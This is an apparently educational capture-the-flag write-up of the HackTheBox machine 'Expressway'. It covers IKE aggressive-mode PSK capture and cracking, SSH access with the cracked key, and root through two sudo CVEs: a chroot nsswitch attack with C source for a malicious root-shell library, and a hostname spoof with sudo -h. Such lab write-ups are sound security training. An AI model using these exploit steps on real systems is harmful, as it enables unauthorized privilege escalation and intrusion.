HTB: Expressway
Expressway is a Linux box with only SSH and an IKE VPN service on UDP. I’ll use ike-scan in aggressive mode to leak the VPN identity and capture a pre-shared key hash, which cracks quickly with hashcat. Connecting to the IPSEC VPN doesn’t provide any additional attack surface, but the PSK works for SSH access. For privilege escalation, I’ll show exploitation of two different CVEs in sudo. In Beyond Root, I’ll look at the sudo config that allowed one of the exploits and show how to connect to the IPSec VPN with strongSwan.
Box Info
Recon
Initial Scanning
nmap finds only one open TCP port, SSH (22):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:58 UTC
...[snip]...
Nmap scan report for 10.129.13.71
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-03-01 19:58:00 UTC for 7s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
Raw packets sent: 70778 (3.114MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:59 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Based on the OpenSSH version, the host is likely running Debian Trixie (2025).
That’s clearly not much of an attack surface. I’ll scan the top 1000 UDP ports:
oxdf@hacky$ sudo nmap -sU --min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:06 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT STATE SERVICE
137/udp closed netbios-ns
500/udp open isakmp
20848/udp closed unknown
40866/udp closed unknown
49640/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
oxdf@hacky$ sudo nmap -sU -p 500 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:07 UTC
Nmap scan report for 10.129.13.71
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
500/udp open isakmp?
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.52 seconds
500 is Internet Key Exchange (IKE), the protocol used for setting up IPSEC VPN connections.
It turns out that TFTP is open as well (UDP 69), but it’s very hard to identify with nmap (and I didn’t when enumerating). I’ll show it is open and hosting a file later.
IKE - UDP 500
The tool to enumerate IKE is ike-scan (sudo apt install ike-scan):
oxdf@hacky$ ike-scan 10.129.13.71
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71 Main Mode Handshake returned HDR=(CKY-R=e87be20a68db8232) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
IKE also has a mode known as Aggressive Mode. For the Main Mode IKE exchange, there are six packets exchanged:
- SA proposal (encryption/hash/DH group)
- SA accepted
- Key exchange (DH public values)
- Key exchange response
- Identity + hash (encrypted)
- Identity + hash response (encrypted)
In Aggressive Mode, there are only three packets:
- SA proposal + key exchange + identity + hash (all at once)
- SA accepted + key exchange + hash
- Confirmation
Aggressive Mode is needed when the VPN server hosts multiple groups/users with different pre-shared keys (PSKs). The server needs to know the identity upfront to look up the right PSK. Main mode can’t do this because identity is encrypted, so the server would have no way to know which PSK to use for decryption.
The downside is that it leaks the identity information before any authentication is done. It is enabled on Expressway.
oxdf@hacky$ ike-scan -A 10.129.13.71
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71 Aggressive Mode Handshake returned HDR=(CKY-R=47b7c6c3686400a8) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
It leaks an identity, ike@expressway.htb. I can capture the handshake and see if the PSK is crackable:
oxdf@hacky$ ike-scan -A 10.129.13.71 --pskcrack=handshake.txt
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71 Aggressive Mode Handshake returned HDR=(CKY-R=66937bae6c61c21c) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.031 seconds (32.16 hosts/sec). 1 returned handshake; 0 returned notify
oxdf@hacky$ cat handshake.txt
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1
hashcat is able to recognize the format and cracks it in 11 seconds on my host:
$ hashcat handshake.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5400 | IKE-PSK SHA1 | Network Protocol
...[snip]...
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1:freakingrockstarontheroad
...[snip]...
With this PSK, I can connect to the IPSEC VPN, but I don’t need to. I’ll do that in Beyond Root.
Shell as ike
With SSH open and a username and password, I’ll check if that works:
oxdf@hacky$ netexec ssh 10.129.13.71 -u ike -p freakingrockstarontheroad
SSH 10.129.13.71 22 10.129.13.71 SSH-2.0-OpenSSH_10.0p2 Debian-8
SSH 10.129.13.71 22 10.129.13.71 [+] ike:freakingrockstarontheroad Linux - Shell access!
It does! I’ll connect:
oxdf@hacky$ sshpass -p freakingrockstarontheroad ssh ike@10.129.13.71
...[snip]...
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
...[snip]...
ike@expressway:~$
And grab user.txt:
ike@expressway:~$ cat user.txt
df75d613************************
Shell as root
Enumeration
Users
ike’s home directory is pretty bare:
ike@expressway:~$ ls -la
total 32
drwx------ 4 ike ike 4096 Sep 16 10:23 .
drwxr-xr-x 3 root root 4096 Aug 14 2025 ..
lrwxrwxrwx 1 root root 9 Aug 29 2025 .bash_history -> /dev/null
-rw-r--r-- 1 ike ike 220 May 18 2025 .bash_logout
-rw-r--r-- 1 ike ike 3526 Aug 28 2025 .bashrc
drwxr-xr-x 3 ike ike 4096 Aug 28 2025 .local
-rw-r--r-- 1 ike ike 807 May 18 2025 .profile
drwx------ 2 ike ike 4096 Sep 16 10:21 .ssh
-rw-r----- 1 root ike 33 Mar 1 19:56 user.txt
There is an SSH keypair in .ssh, but that doesn’t gain any additional access.
There are no other user home directories in /home, and no other non-root users with shells in passwd:
ike@expressway:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash
ike can’t run any commands with sudo:
ike@expressway:/$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password:
Sorry, user ike may not run sudo on expressway.
TFTP / Cisco Config
In /srv/tftp/ciscortr.cfg there’s a Cisco config:
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname expressway
!
boot-start-marker
boot-end-marker
!
enable password *****
!
username ike password *****
ip subnet-zero
ip cef
!
vpdn enable
vpdn-group 1
request-dialin
protocol pppoe
!
ip dhcp excluded-address 10.0.1.1 10.0.1.10
ip dhcp excluded-address 10.0.2.1 10.0.2.10
ip dhcp excluded-address 10.0.3.1 10.0.3.10
!
ip dhcp pool vlan1
network 10.0.1.0 255.255.255.0
default-router 10.0.1.1
!
ip dhcp pool vlan2
network 10.0.2.0 255.255.255.0
default-router 10.0.2.1
!
ip dhcp pool vlan3
network 10.0.3.0 255.255.255.0
default-router 10.0.3.1
!
ip ips po max-events 100
no ftp-server write-enable
!
bridge irb
!
interface FastEthernet0
no ip address
!
interface FastEthernet1
no ip address
!
interface FastEthernet2
no ip address
!
interface FastEthernet3
switchport mode trunk
no ip address
!
interface FastEthernet4
ip address 192.168.68.1 255.255.255.0
no ip directed-broadcast (default)
speed auto
ip nat outside
ip access-group 103 in
no cdp enable
crypto ipsec client ezvpn ezvpnclient outside
crypto map static-map
!
crypto isakmp policy 1
encryption 3des
authentication pre-share
group 2
lifetime 480
!
crypto isakmp client configuration group rtr-remote
key secret-password
dns 208.67.222.222
domain expressway.htb
pool dynpool
!
crypto ipsec transform-set vpn1 esp-3des esp-md5
!
crypto ipsec security-association lifetime seconds 86400
!
crypto dynamic-map dynmap 1
set transform-set vpn1
reverse-route
!
crypto map static-map 1 ipsec-isakmp dynamic dynmap
crypto map dynmap isakmp authorization list rtr-remote
crypto map dynmap client configuration address respond
crypto ipsec client ezvpn ezvpnclient
connect auto
group 2 key secret-password
mode client
peer 192.168.100.1
!
interface Dot11Radio0
no ip address
!
broadcast-key vlan 1 change 45
!
encryption vlan 1 mode ciphers tkip
!
ssid cisco
vlan 1
authentication open
authentication network-eap eap_methods
authentication key-management wpa optional
!
ssid ciscowep
vlan 2
authentication open
!
ssid ciscowpa
vlan 3
authentication open
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
rts threshold 2312
power local cck 50
power local ofdm 30
channel 2462
station-role root
!
interface Dot11Radio0.1
description Cisco Open
encapsulation dot1Q 1 native
no cdp enable
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 spanning-disabled
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
!
interface Dot11Radio0.2
encapsulation dot1Q 2
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding
!
interface Dot11Radio0.3
encapsulation dot1Q 3
bridge-group 3
bridge-group 3 subscriber-loop-control
bridge-group 3 spanning-disabled
bridge-group 3 block-unknown-source
no bridge-group 3 source-learning
no bridge-group 3 unicast-flooding
!
interface Vlan1
no ip address
no ip directed-broadcast (default)
ip nat inside
crypto ipsec client ezvpn ezvpnclient inside
ip inspect firewall in
no cdp enable
bridge-group 1
bridge-group 1 spanning-disabled
!
interface Vlan2
no ip address
bridge-group 2
bridge-group 2 spanning-disabled
!
interface Vlan3
no ip address
bridge-group 3
bridge-group 3 spanning-disabled
!
interface BVI1
ip address 10.0.1.1 255.255.255.0
!
interface BVI2
ip address 10.0.2.1 255.255.255.0
!
ip classless
!
ip http server
no ip http secure-server
!
control-plane
!
bridge 1 route ip
bridge 2 route ip
bridge 3 route ip
!
ip inspect name firewall tcp
ip inspect name firewall udp
!
access-list 103 permit udp host 200.1.1.1 any eq isakmp
access-list 103 permit udp host 200.1.1.1 eq isakmp any
no cdp run
!
line con 0
password *****
no modem enable
transport preferred all
transport output all
line aux 0
transport preferred all
transport output all
line vty 0 4
password *****
transport preferred all
transport input all
transport output all
It contains credentials, but they are all masked as “*”s:
enable password *****username ike password *****- Both
line con 0andline vty 0 4have password*****
The VPN config shows a peer at 192.168.100.1. There’s also three VLANs with DHCP pools: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24. There are three wireless SSIDs: cisco, ciscowep, ciscowpa.
I wasn’t able to identify TFTP earlier, and even if I had, TFTP doesn’t allow directory listing. But knowing the name of the file here I can get it remotely:
oxdf@hacky$ curl tftp://10.129.13.71/ciscortr.cfg -s | head
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
Squid
Squid proxy is installed on the system in /etc:
ike@expressway:/etc/squid$ ls
conf.d errorpage.css squid.conf squid.conf.dpkg-dist
There are also access logs in /var/log/squid:
ike@expressway:/var/log/squid$ ls
access.log.1 access.log.2.gz cache.log.1 cache.log.2.gz
It doesn’t appear to be running, as it’s not in the process list nor is anything listening on 3128.
sudo
The SetUID binaries on Expressway look pretty normal at first glance:
ike@expressway:/$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
The weird thing is that there are two copies of sudo, and /usr/local/bin is a weird place to have sudo. It typically comes installed by default and is located in /usr/bin. The copy in /usr/local/bin suggests that it was manually installed or compiled.
The versions are different:
ike@expressway:/$ /usr/bin/sudo --version
Sudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
ike@expressway:/$ /usr/local/bin/sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
CVE Identification
Searching for vulnerabilities in this version of sudo returns a bunch of articles:
There are two CVEs cited over and over, CVE-2025-32462 and CVE-2025-32463. CVE-2025-32463 is the much easier path, but the intended path is CVE-2025-32462. I’ll show both.
CVE-2025-32463
Background
NIST describes CVE-2025-32463 as:
Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the –chroot option.
This vulnerability applies to 1.9.14 - 1.9.17.
According to the man page, the --chroot option:
-R directory, --chroot=directory Change to the specified root directory (see chroot(8)) before running the command. The security policy may return an error if the user does not have permission to specify the root directory. This option is deprecated and will be removed in a future version of sudo,.
In sudo 1.9.14, a change was introduced to resolve paths via chroot() while the sudoers file was still being parsed. This means sudo enters the attacker-controlled chroot before it finishes evaluating the security policy.
The common abuse path here is the Name Service Switch configuration file, nsswitch.conf, which tells the system where to look up various types of information like:
- passwd/group — user accounts and groups (local files, LDAP, NIS)
- hosts — hostname resolution (files, DNS)
- shadow — password hashes
A typical entry looks like:
passwd: files ldap
hosts: files dns
This means “for user lookups, check /etc/passwd first, then LDAP.” Each source is backed by a shared library. files loads libnss_files.so, ldap loads libnss_ldap.so, etc.
To exploit this, an attacker can:
- Create a writable directory with a fake
/etc/nsswitch.conf - Point
nsswitch.confto a maliciouslibnss_*.soshared library - Run
sudo -R /attacker/controlled/path <command> sudochroots into the attacker’s directory, reads the fakensswitch.conf, and loads the malicious library as root
Exploit
There are numerous POC scripts out there (such as this one from K1tt3h), but I’ll just do the steps manually.
I need a directory to work from, so I’ll use mktemp to get a directory and go to it:
ike@expressway:/$ STAGE=$(mktemp -d)
ike@expressway:/$ cd $STAGE
ike@expressway:/tmp/tmp.AEMIRU8Jqx$
In here, I’m going to create the following directory structure:
Start with the directories:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ mkdir -p newroot/etc libnss_
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ ls
libnss_ newroot
Inside etc I’ll create my malicious nsswitch.conf:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ echo "passwd: /0xdf" > newroot/etc/nsswitch.conf
When glibc loads this config, it will prepend libnss_ to the source name and append .so.2, in this case making libnss_/0xdf.so.2 and try to load that.
chroot won’t change the current directory, so it will try to resolve libnss_/0xdf.so.2 from my current directory, and find my malicious library. I just need to create that:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void oxdf(void) {
setreuid(0, 0);
setregid(0, 0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
This is a simple library with a constructor function that will run on load, make sure it’s running as root from the / directory, and then run bash.
I’ll compile that into place:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ gcc -shared -fPIC -o libnss_/0xdf.so.2 0xdf.c
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ file libnss_/0xdf.so.2
libnss_/0xdf.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=90492fb90da26e947f22402eb41bfcfed3874a4f, not stripped
The POC uses -Wl,-init,<function name> to explicitly set the DT_INIT entry to that function at the linker. If that’s there, the function name must match the constructor function name (oxdf in this case, xd1337 in the POC). But given this already has __attribute__((constructor)), I don’t need to pass it at all.
To trigger the exploit, I’ll run sudo specifying the root of newroot:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ sudo --chroot newroot true
root@expressway:/#
Before it can run true, it loads 0xdf.so.2 and drops into bash. I’m able to get the flag:
root@expressway:/# cat root/root.txt
6b8be400************************
This does not work with the typical sudo install:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ /usr/bin/sudo --chroot newroot true
[sudo] password for ike:
sudo: you are not permitted to use the -R option with true
1.9.13p3 is before the vulnerability was introduced.
CVE-2025-32462
Background
NIST describes CVE-2025-32462 as:
Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
This actually impacts versions 1.8.8 through 1.9.17, which is both sudo instances on Expressway.
sudo supports host-based restrictions in /etc/sudoers, allowing administrators to grant different privileges depending on which host a user is on. This is common in environments where a single sudoers file is distributed across multiple servers. A user might get root on dev boxes but not on production.
The -h flag lets users specify a target hostname. Vulnerable versions use this user-supplied hostname for policy evaluation instead of the actual system hostname. This means a user can spoof the hostname to match a permissive rule that was never intended to apply to the current machine.
Identify Hosts
For this exploit to work, I’ll need to guess a hostname that might be defined in the sudoers file. Some recursive grep around the host in places that might have hostnames will find this reference to offramp.expressway.htb in a Squid proxy log:
ike@expressway:/var/log$ grep -r expressway 2>/dev/null
squid/access.log.1:1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
This is odd, as I’ve seen no evidence that squid is actually running on the host. Were I designing this box and intending this to be the path, I would have included this host in hosts and the Cisco config and elsewhere to make it seem more natural.
Exploit
The exploit is quite simple. I just run sudo with the -h <host> option, and if that host is specified in the /etc/sudoers file, it’ll run:
ike@expressway:/$ sudo -h offramp.expressway.htb id
uid=0(root) gid=0(root) groups=0(root)
It worked! If I use some other host or without -h, it doesn’t:
ike@expressway:/$ sudo -h doesnotexist.expressway.htb id
Password:
ike is not allowed to run sudo on doesnotexist.
ike@expressway:/$ sudo id
Password:
ike is not allowed to run sudo on expressway.
ike@expressway:/$ sudo -h expressway.htb id
Password:
ike is not allowed to run sudo on expressway.
-i with sudo gives a shell:
ike@expressway:/$ sudo -h offramp.expressway.htb -i
root@expressway:~#
And the flag:
root@expressway:~# cat root.txt
6b8be400************************
It’s worth noting that this vulnerability is in both versions of sudo on this host:
ike@expressway:/$ /usr/bin/sudo -h offramp.expressway.htb -i
sudo: unable to resolve host offramp.expressway.htb: Temporary failure in name resolution
Last login: Mon Mar 2 12:05:47 GMT 2026 on pts/1
root@expressway:~#
It’s not clear to me why the legit installed one needs to do a DNS resolution first (and thus hangs since the domain is not defined) but the local one doesn’t. It’s also not clear why this box has two versions of sudo.
Beyond Root
sudo Config
The sudoers file on Expressway is:
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# This fixes CVE-2005-4890 and possibly breaks some versions of kdesu
# (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)
Defaults use_pty
...[snip comments]...
# Host alias specification
Host_Alias SERVERS = expressway.htb, offramp.expressway.htb
Host_Alias PROD = expressway.htb
ike SERVERS, !PROD = NOPASSWD:ALL
ike offramp.expressway.htb = NOPASSWD:ALL
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
#svcMaestro ALL=(ALL:ALL) NOPASSWD: ALL
#ike ALL=(axl) NOPASSWD: /usr/local/sbin/dosconverter
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
This intends to grant ike passwordless root only on offramp.expressway.htb, explicitly excluding expressway.htb (production). sudo checks the spoofed hostname against the sudoers rules, matches offramp.expressway.htb, and grants root, despite running on expressway.htb where it should be denied.
Connecting IPSEC VPN
Having identified the user (ike) and the PSK, I can now connect using strongSwan (sudo apt install strongswan). I’ll edit /etc/ipsec.conf:
config setup
conn expressway
keyexchange=ikev1
aggressive=yes
authby=psk
xauth=client
left=%defaultroute
leftid=ike@expressway.htb
right=10.129.13.71
rightid=ike@expressway.htb
rightsubnet=10.0.0.0/8
ike=3des-sha1-modp1024!
esp=3des-sha1!
auto=add
type=tunnel
I’ll also add the connection authentication information to /etc/ipsec.secrets:
ike@expressway.htb : PSK "freakingrockstarontheroad"
Now I start it:
oxdf@hacky$ sudo ipsec restart
Stopping strongSwan IPsec...
Starting strongSwan 5.9.13 IPsec [starter]...
oxdf@hacky$ sudo ipsec up expressway
initiating Aggressive Mode IKE_SA expressway[1] to 10.129.13.71
generating AGGRESSIVE request 0 [ SA KE No ID V V V V V ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (370 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (422 bytes)
parsed AGGRESSIVE response 0 [ SA KE No ID V V V V NAT-D NAT-D HASH ]
received XAuth vendor ID
received DPD vendor ID
received FRAGMENTATION vendor ID
received NAT-T (RFC 3947) vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
IKE_SA expressway[1] established between 10.10.14.60[ike@expressway.htb]...10.129.13.71[ike@expressway.htb]
scheduling reauthentication in 9983s
maximum IKE_SA lifetime 10523s
generating AGGRESSIVE request 0 [ HASH NAT-D NAT-D ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (108 bytes)
generating QUICK_MODE request 2816494625 [ HASH SA No ID ID ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
sending retransmit 1 of request message ID 2816494625, seq 3
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (164 bytes)
parsed QUICK_MODE response 2816494625 [ HASH SA No ID ID ]
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA expressway{1} established with SPIs c8c88dc3_i c131fe7c_o and TS 10.10.14.60/32 === 10.129.13.71/32
generating QUICK_MODE request 2816494625 [ HASH ]
connection 'expressway' established successfully
Having this connection doesn’t open up anything new in this case.
oxdf@hacky$ sudo ipsec stop
Stopping strongSwan IPsec...
